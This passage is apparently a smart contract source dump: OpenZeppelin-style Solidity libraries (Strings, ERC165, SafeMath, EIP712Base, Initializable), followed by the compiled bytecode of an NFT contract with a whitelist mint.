value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } }
0x6080604052600436106103135760003560e01c8063715018a61161019a578063b88d4fde116100e1578063e60197161161008a578063e985e9c511610064578063e985e9c514610875578063efd0cbf914610895578063f2fde38b146108a857610313565b8063e601971614610836578063e6a5931e1461084b578063e8a3d4851461086057610313565b8063cd7c0326116100bb578063cd7c0326146107e0578063d26ea6c014610800578063d5abeb011461082057610313565b8063b88d4fde1461078a578063c1fad42c146107aa578063c87b56dd146107c057610313565b80638da5cb5b11610143578063a22cb4651161011d578063a22cb46514610730578063b455c5fe14610750578063b6c65d381461077057610313565b80638da5cb5b146106dd57806395d89b41146106fb5780639a3cac6a1461071057610313565b80637de55fe1116101745780637de55fe1146106655780638451fb72146106855780638521b8e3146106a457610313565b8063715018a61461061057806373c8c883146106255780637cb647591461064557610313565b806323b872dd1161025e5780633408e470116102075780636352211e116101e15780636352211e146105bb578063674d13c8146105db57806370a08231146105f057610313565b80633408e470146105735780633ccfd60b1461058657806342842e0e1461059b57610313565b80632eb4a7ab116102385780632eb4a7ab146105285780632f58edfe1461053e57806330176e131461055357610313565b806323b872dd146104bc57806326a74d8e146104dc5780632d0335ab146104f257610313565b80630f7e5970116102c05780631efba6c21161029a5780631efba6c21461047157806320379ee5146104875780632131c68c1461049c57610313565b80630f7e5970146103ef578063138a4e011461043857806318160ddd1461045c57610313565b8063081812fc116102f1578063081812fc14610384578063095ea7b3146103bc5780630c53c51c146103dc57610313565b806301ffc9a714610318578063061431a81461034d57806306fdde0314610362575b600080fd5b34801561032457600080fd5b50610338610333366004612d52565b6108c8565b60405190151581526020015b60405180910390f35b61036061035b366004612e04565b610967565b005b34801561036e57600080fd5b50610377610b6f565b6040516103449190613026565b34801561039057600080fd5b506103a461039f366004612d3a565b610c02565b6040516001600160a01b039091168152602001610344565b3480156103c857600080fd5b506103606103d7366004612d0f565b610c97565b6103776103ea366004612c94565b610ddb565b3480156103fb57600080fd5b506103776040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525081565b34801561044457600080fd5b5061044e600d5481565b604051908152602001610344565b34801561046857600080fd5b5061044e610fe1565b34801561047d57600080fd5b5061044e60115481565b34801561049357600080fd5b5060075461044e565b3480156104a857600080fd5b506012546103a4906001600160a01b031681565b3480156104c857600080fd5b506103606104d7366004612bb9565b610ffe565b3480156104e857600080fd5b5061044e600f5481565b3480156104fe57600080fd5b5061044e61050d366004612b65565b6001600160a01b031660009081526008602052604090205490565b34801561053457600080fd5b5061044e600b5481565b34801561054a57600080fd5b5061036061108c565b34801561055f57600080fd5b5061036061056e366004612da6565b611110565b34801561057f57600080fd5b504661044e565b34801561059257600080fd5b5061036061118e565b3480156105a757600080fd5b506103606105b6366004612bb9565b611219565b3480156105c757600080fd5b506103a46105d6366004612d3a565b611234565b3480156105e757600080fd5b5061044e6112bf565b3480156105fc57600080fd5b5061044e61060b366004612b65565b6112ca565b34801561061c57600080fd5b50610360611364565b34801561063157600080fd5b50610360610640366004612d3a565b6113d7565b34801561065157600080fd5b50610360610660366004612d3a565b611443565b34801561067157600080fd5b50610360610680366004612d0f565b6114af565b34801561069157600080fd5b50600c5461033890610100900460ff1681565b3480156106b057600080fd5b506103386106bf366004612b65565b6001600160a01b031660009081526014602052604090205460ff1690565b3480156106e957600080fd5b506009546001600160a01b03166103a4565b34801561070757600080fd5b5061037761162d565b34801561071c57600080fd5b5061036061072b366004612b65565b61163c565b34801561073c57600080fd5b5061036061074b366004612c63565b6116c5565b34801561075c57600080fd5b5061036061076b366004612d3a565b6117c7565b34801561077c57600080fd5b50600c546103389060ff1681565b34801561079657600080fd5b506103606107a5366004612bf9565b611833565b3480156107b657600080fd5b5061044e60105481565b3480156107cc57600080fd5b506103776107db366004612d3a565b6118c2565b3480156107ec57600080fd5b50600a546103a4906001600160a01b031681565b34801561080c57600080fd5b5061036061081b366004612b65565b6118f6565b34801561082c57600080fd5b5061044e600e5481565b34801561084257600080fd5b5061036061197f565b34801561085757600080fd5b5061044e6119fa565b34801561086c57600080fd5b50610377611a05565b34801561088157600080fd5b50610338610890366004612b81565b611a25565b6103606108a3366004612d3a565b611b10565b3480156108b457600080fd5b506103606108c3366004612b65565b611bc8565b60006001600160e01b031982167f80ac58cd00000000000000000000000000000000000000000000000000000000148061092b57506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061095f57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b03198316145b90505b919050565b600c54610100900460ff166109c35760405162461bcd60e51b815260206004820152601960248201527f57686974656c6973742073616c65206e6f74206163746976650000000000000060448201526064015b60405180910390fd5b3360009081526014602052604090205460ff1615610a235760405162461bcd60e51b815260206004820152601b60248201527f416464726573732068617320616c726561647920636c61696d6564000000000060448201526064016109ba565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610a9d83838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050600b549150849050611d10565b610ae95760405162461bcd60e51b815260206004820152601360248201527f4d7573742062652077686974656c69737465640000000000000000000000000060448201526064016109ba565b3484601154610af89190613065565b1115610b465760405162461bcd60e51b815260206004820152601160248201527f4574682076616c20696e636f727265637400000000000000000000000000000060448201526064016109ba565b336000908152601460205260409020805460ff19166001179055610b6984611dcd565b50505050565b606060008054610b7e906130c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610baa906130c7565b8015610bf75780601f10610bcc57610100808354040283529160200191610bf7565b820191906000526020600020905b815481529060010190602001808311610bda57829003601f168201915b505050505090505b90565b6000818152600260205260408120546001600160a01b0316610c7b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016109ba565b506000908152600460205260409020546001600160a01b031690565b6000610ca282611234565b9050806001600160a01b0316836001600160a01b03161415610d2c5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016109ba565b806001600160a01b0316610d3e611f24565b6001600160a01b03161480610d5a5750610d5a81610890611f24565b610dcc5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016109ba565b610dd68383611f2e565b505050565b60408051606081810183526001600160a01b03881660008181526008602090815290859020548452830152918101869052610e198782878787611f9c565b610e8b5760405162461bcd60e51b815260206004820152602160248201527f5369676e657220616e64207369676e617475726520646f206e6f74206d61746360448201527f680000000000000000000000000000000000000000000000000000000000000060648201526084016109ba565b6001600160a01b038716600090815260086020526040902054610eaf9060016120a4565b6001600160a01b0388166000908152600860205260409081902091909155517f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b90610eff90899033908a90612fbe565b60405180910390a1600080306001600160a01b0316888a604051602001610f27929190612ee1565b60408051601f1981840301815290829052610f4191612ec5565b6000604051808303816000865af19150503d8060008114610f7e576040519150601f19603f3d011682016040523d82523d6000602084013e610f83565b606091505b509150915081610fd55760405162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c0000000060448201526064016109ba565b98975050505050505050565b6000610fec60165490565b601554610ff99190613039565b905090565b61100f611009611f24565b826120b7565b6110815760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109ba565b610dd6838383612186565b611094611f24565b6001600160a01b03166110af6009546001600160a01b031690565b6001600160a01b0316146110f35760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b600c805461ff001981166101009182900460ff1615909102179055565b611118611f24565b6001600160a01b03166111336009546001600160a01b031690565b6001600160a01b0316146111775760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b805161118a906013906020840190612a37565b5050565b611196611f24565b6001600160a01b03166111b16009546001600160a01b031690565b6001600160a01b0316146111f55760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b478061120057600080fd5b601254611216906001600160a01b031682612353565b50565b610dd683838360405180602001604052806000815250611833565b6000818152600260205260408120546001600160a01b03168061095f5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016109ba565b6000610ff960165490565b60006001600160a01b0382166113485760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016109ba565b506001600160a01b031660009081526003602052604090205490565b61136c611f24565b6001600160a01b03166113876009546001600160a01b031690565b6001600160a01b0316146113cb5760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b6113d560006123f6565b565b6113df611f24565b6001600160a01b03166113fa6009546001600160a01b031690565b6001600160a01b03161461143e5760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b601155565b61144b611f24565b6001600160a01b03166114666009546001600160a01b031690565b6001600160a01b0316146114aa5760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b600b55565b6114b7611f24565b6001600160a01b03166114d26009546001600160a01b031690565b6001600160a01b0316146115165760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b6010548161152360165490565b61152d9190613039565b111561157b5760405162461bcd60e51b815260206004820152601260248201527f4d617820737570706c792072656163686564000000000000000000000000000060448201526064016109ba565b60005b81811015610dd657611594601680546001019055565b61161b83306001600160a01b031663674d13c86040518163ffffffff1660e01b815260040160206040518083038186803b1580156115d157600080fd5b505afa1580156115e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116099190612dec565b600f546116169190613039565b612448565b8061162581613102565b91505061157e565b606060018054610b7e906130c7565b611644611f24565b6001600160a01b031661165f6009546001600160a01b031690565b6001600160a01b0316146116a35760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6116cd611f24565b6001600160a01b0316826001600160a01b0316141561172e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016109ba565b806005600061173b611f24565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff19169215159290921790915561177f611f24565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516117bb911515815260200190565b60405180910390a35050565b6117cf611f24565b6001600160a01b03166117ea6009546001600160a01b031690565b6001600160a01b03161461182e5760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b600d55565b61184461183e611f24565b836120b7565b6118b65760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109ba565b610b6984848484612462565b606060136118cf836124e0565b6040516020016118e0929190612f18565b6040516020818303038152906040529050919050565b6118fe611f24565b6001600160a01b03166119196009546001600160a01b031690565b6001600160a01b03161461195d5760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b611987611f24565b6001600160a01b03166119a26009546001600160a01b031690565b6001600160a01b0316146119e65760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b600c805460ff19811660ff90911615179055565b6000610ff960155490565b60606040518060600160405280602a8152602001613202602a9139905090565b600a546040517fc45527910000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015260009281169190841690829063c45527919060240160206040518083038186803b158015611a8b57600080fd5b505afa158015611a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ac39190612d8a565b6001600160a01b03161415611adc576001915050611b0a565b6001600160a01b0380851660009081526005602090815260408083209387168352929052205460ff165b9150505b92915050565b600c5460ff16611b625760405162461bcd60e51b815260206004820152600f60248201527f53616c65206e6f7420616374697665000000000000000000000000000000000060448201526064016109ba565b3481601154611b719190613065565b1115611bbf5760405162461bcd60e51b815260206004820152601160248201527f4574682076616c20696e636f727265637400000000000000000000000000000060448201526064016109ba565b61121681611dcd565b611bd0611f24565b6001600160a01b0316611beb6009546001600160a01b031690565b6001600160a01b031614611c2f5760405162461bcd60e51b815260206004820181905260248201526000805160206131e283398151915260448201526064016109ba565b6001600160a01b038116611cab5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016109ba565b611216816123f6565b600033301415611d0b57600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b03169150610bff9050565b503390565b600081815b8551811015611dc2576000868281518110611d4057634e487b7160e01b600052603260045260246000fd5b60200260200101519050808311611d82576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611daf565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611dba81613102565b915050611d15565b509092149392505050565b600d54811115611e1f5760405162461bcd60e51b815260206004820152601160248201527f4d6178206d696e7420657863656564656400000000000000000000000000000060448201526064016109ba565b600f5481611e2c60155490565b611e369190613039565b1115611e845760405162461bcd60e51b815260206004820152601260248201527f4d617820737570706c792072656163686564000000000000000000000000000060448201526064016109ba565b60005b8181101561118a57611e9d601580546001019055565b611f1233306001600160a01b031663e6a5931e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611eda57600080fd5b505afa158015611eee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190612dec565b80611f1c81613102565b915050611e87565b6000610ff9611cb4565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611f6382611234565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006001600160a01b03861661201a5760405162461bcd60e51b815260206004820152602560248201527f4e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5360448201527f49474e455200000000000000000000000000000000000000000000000000000060648201526084016109ba565b600161202d61202887612637565b6126b4565b6040805160008152602081018083529290925260ff851690820152606081018690526080810185905260a0016020604051602081039080840390855afa15801561207b573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b60006120b08284613039565b9392505050565b6000818152600260205260408120546001600160a01b03166121305760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016109ba565b600061213b83611234565b9050806001600160a01b0316846001600160a01b031614806121765750836001600160a01b031661216b84610c02565b6001600160a01b0316145b80611b065750611b068185611a25565b826001600160a01b031661219982611234565b6001600160a01b0316146122155760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016109ba565b6001600160a01b0382166122905760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016109ba565b61229b600082611f2e565b6001600160a01b03831660009081526003602052604081208054600192906122c4908490613084565b90915550506001600160a01b03821660009081526003602052604081208054600192906122f2908490613039565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146123a0576040519150601f19603f3d011682016040523d82523d6000602084013e6123a5565b606091505b5050905080610dd65760405162461bcd60e51b815260206004820152600960248201527f5478206661696c6564000000000000000000000000000000000000000000000060448201526064016109ba565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61118a8282604051806020016040528060008152506126ff565b61246d848484612186565b6124798484848461277d565b610b695760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016109ba565b606081612521575060408051808201909152600181527f30000000000000000000000000000000000000000000000000000000000000006020820152610962565b8160005b811561254b578061253581613102565b91506125449050600a83613051565b9150612525565b60008167ffffffffffffffff81111561257457634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561259e576020820181803683370190505b5090505b841561262f576125b3600183613084565b91506125c0600a8661311d565b6125cb906030613039565b60f81b8183815181106125ee57634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612628600a86613051565b94506125a2565b949350505050565b600060405180608001604052806043815260200161319f6043913980516020918201208351848301516040808701518051908601209051612697950193845260208401929092526001600160a01b03166040830152606082015260800190565b604051602081830303815290604052805190602001209050919050565b60006126bf60075490565b6040517f19010000000000000000000000000000000000000000000000000000000000006020820152602281019190915260428101839052606201612697565b61270983836128f5565b612716600084848461277d565b610dd65760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016109ba565b60006001600160a01b0384163b156128ea57836001600160a01b031663150b7a026127a6611f24565b8786866040518563ffffffff1660e01b81526004016127c89493929190612fea565b602060405180830381600087803b1580156127e257600080fd5b505af1925050508015612812575060408051601f3d908101601f1916820190925261280f91810190612d6e565b60015b6128b7573d808015612840576040519150601f19603f3d011682016040523d82523d6000602084013e612845565b606091505b5080516128af5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b60648201526084016109ba565b805181602001fd5b6001600160e01b0319167f150b7a020000000000000000000000000000000000000000000000000000000014905061262f565b506001949350505050565b6001600160a01b03821661294b5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016109ba565b6000818152600260205260409020546001600160a01b0316156129b05760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016109ba565b6001600160a01b03821660009081526003602052604081208054600192906129d9908490613039565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054612a43906130c7565b90600052602060002090601f016020900481019282612a655760008555612aab565b82601f10612a7e57805160ff1916838001178555612aab565b82800160010185558215612aab579182015b82811115612aab578251825591602001919060010190612a90565b50612ab7929150612abb565b5090565b5b80821115612ab75760008155600101612abc565b600067ffffffffffffffff80841115612aeb57612aeb61315d565b604051601f8501601f19908116603f01168101908282118183101715612b1357612b1361315d565b81604052809350858152868686011115612b2c57600080fd5b858560208301376000602087830101525050509392505050565b600082601f830112612b56578081fd5b6120b083833560208501612ad0565b600060208284031215612b76578081fd5b81356120b081613173565b60008060408385031215612b93578081fd5b8235612b9e81613173565b91506020830135612bae81613173565b809150509250929050565b600080600060608486031215612bcd578081fd5b8335612bd881613173565b92506020840135612be881613173565b929592945050506040919091013590565b60008060008060808587031215612c0e578081fd5b8435612c1981613173565b93506020850135612c2981613173565b925060408501359150606085013567ffffffffffffffff811115612c4b578182fd5b612c5787828801612b46565b91505092959194509250565b60008060408385031215612c75578182fd5b8235612c8081613173565b915060208301358015158114612bae578182fd5b600080600080600060a08688031215612cab578081fd5b8535612cb681613173565b9450602086013567ffffffffffffffff811115612cd1578182fd5b612cdd88828901612b46565b9450506040860135925060608601359150608086013560ff81168114612d01578182fd5b809150509295509295909350565b60008060408385031215612d21578182fd5b8235612d2c81613173565b946020939093013593505050565b600060208284031215612d4b578081fd5b5035919050565b600060208284031215612d63578081fd5b81356120b081613188565b600060208284031215612d7f578081fd5b81516120b081613188565b600060208284031215612d9b578081fd5b81516120b081613173565b600060208284031215612db7578081fd5b813567ffffffffffffffff811115612dcd578182fd5b8201601f81018413612ddd578182fd5b611b0684823560208401612ad0565b600060208284031215612dfd578081fd5b5051919050565b600080600060408486031215612e18578081fd5b83359250602084013567ffffffffffffffff80821115612e36578283fd5b818601915086601f830112612e49578283fd5b813581811115612e57578384fd5b8760208083028501011115612e6a578384fd5b6020830194508093505050509250925092565b60008151808452612e9581602086016020860161309b565b601f01601f19169290920160200192915050565b60008151612ebb81856020860161309b565b9290920192915050565b60008251612ed781846020870161309b565b9190910192915050565b60008351612ef381846020880161309b565b60609390931b6bffffffffffffffffffffffff19169190920190815260140192915050565b8254600090819060028104600180831680612f3457607f831692505b6020808410821415612f5457634e487b7160e01b87526022600452602487fd5b818015612f685760018114612f7957612fa5565b60ff19861689528489019650612fa5565b60008b815260209020885b86811015612f9d5781548b820152908501908301612f84565b505084890196505b505050505050612fb58185612ea9565b95945050505050565b60006001600160a01b03808616835280851660208401525060606040830152612fb56060830184612e7d565b60006001600160a01b0380871683528086166020840152508360408301526080606083015261301c6080830184612e7d565b9695505050505050565b6000602082526120b06020830184612e7d565b6000821982111561304c5761304c613131565b500190565b60008261306057613060613147565b500490565b600081600019048311821515161561307f5761307f613131565b50029056